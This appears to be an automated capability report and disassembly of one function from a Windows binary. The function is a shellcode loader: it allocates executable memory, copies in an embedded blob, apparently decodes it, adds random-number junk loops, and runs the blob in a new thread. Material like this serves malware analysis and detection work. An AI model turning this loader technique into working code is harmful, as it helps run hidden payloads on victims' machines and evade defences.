Function at 0x140001b60
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1310]
mov eax, 0x1410
call fcn.1400034a0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1300], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov edx, 0x12c6c
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1400011c0
test r15, r15
jne 0x140001bf8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001f3c
mov qword [rsp + 0x20], 0
mov r9d, 0x12c6c
lea r8, [0x140006080]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.1400011c0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12f4], 0xffffffff
mov dword [rsp + 0x74], eax
mov r14d, 1
mov edx, r14d
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x74], eax
inc rdx
cmp rdx, 0x270
jb 0x140001c40
mov dword [rsp + 0x70], 0x270
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x5f
ja 0x140001c92
nop dword [rax]
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x60
jb 0x140001c80
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x5f
ja 0x140001cb6
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x60
jb 0x140001ca4
mov ebx, 2
mov edi, ebx
nop dword [rax]
lea rcx, [rsp + 0x70]
call fcn.140002410
sub rdi, r14
jne 0x140001cc0
nop
lea rcx, [rsp + 0x70]
call fcn.140002410
sub rbx, r14
jne 0x140001cd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov edi, 0xf
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x30], bl
mov esi, 0xa
nop
lea rcx, [rsp + 0x70]
call fcn.140002410
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x140001d2c
lea rcx, [rsp + 0x70]
call fcn.140002410
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x140001d16
shr r9, 0x20
add r9b, 0x61
cmp rbx, rdi
jae 0x140001d5c
lea rax, [rbx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdi, 0xf
cmova rax, qword [rsp + 0x30]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140001d66
lea rcx, [rsp + 0x30]
call fcn.1400022a0
sub rsi, 1
je 0x140001d78
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
jmp 0x140001d00
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov ecx, 0x28
call fcn.1400025d0
mov rdi, rax
mov qword [rsp + 0x50], rax
lea rsi, [rax + 0x28]
mov qword [rsp + 0x60], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
mov qword [rsp + 0x58], rsi
mov rbx, rdi
cmp rdi, rsi
je 0x140001e03
nop dword [rax + rax]
lea rcx, [rsp + 0x70]
call fcn.140002410
mov ecx, eax
imul rax, rcx, 0x64
cmp eax, 0x5f
ja 0x140001dea
lea rcx, [rsp + 0x70]
call fcn.140002410
mov ecx, eax
imul rax, rcx, 0x64
cmp eax, 0x60
jb 0x140001dd5
shr rax, 0x20
add eax, 0x80000001
xor eax, 0x80000000
mov dword [rbx], eax
add rbx, 4
cmp rbx, rsi
jne 0x140001dc0
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x5f
ja 0x140001e27
lea rcx, [rsp + 0x70]
call fcn.140002410
imul ecx, eax, 0x64
cmp ecx, 0x60
jb 0x140001e15
mov rcx, r15
call fcn.140001600
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001e7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001eb4
call fcn.1400011c0
call fcn.1400011c0
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r14d, r14d
test rdi, rdi
je 0x140001ef2
sub rsi, rdi
sar rsi, 2
lea rdx, [rsi*4]
cmp rdx, 0x1000
jb 0x140001ee9
add rdx, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x140001f2d
mov rdi, rcx
mov rcx, rdi
call fcn.14000260c
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001f39
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000260c
mov eax, r14d
mov rcx, qword [rbp + 0x1300]
xor rcx, rsp
call fcn.1400025b0
lea r11, [rsp + 0x1410]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret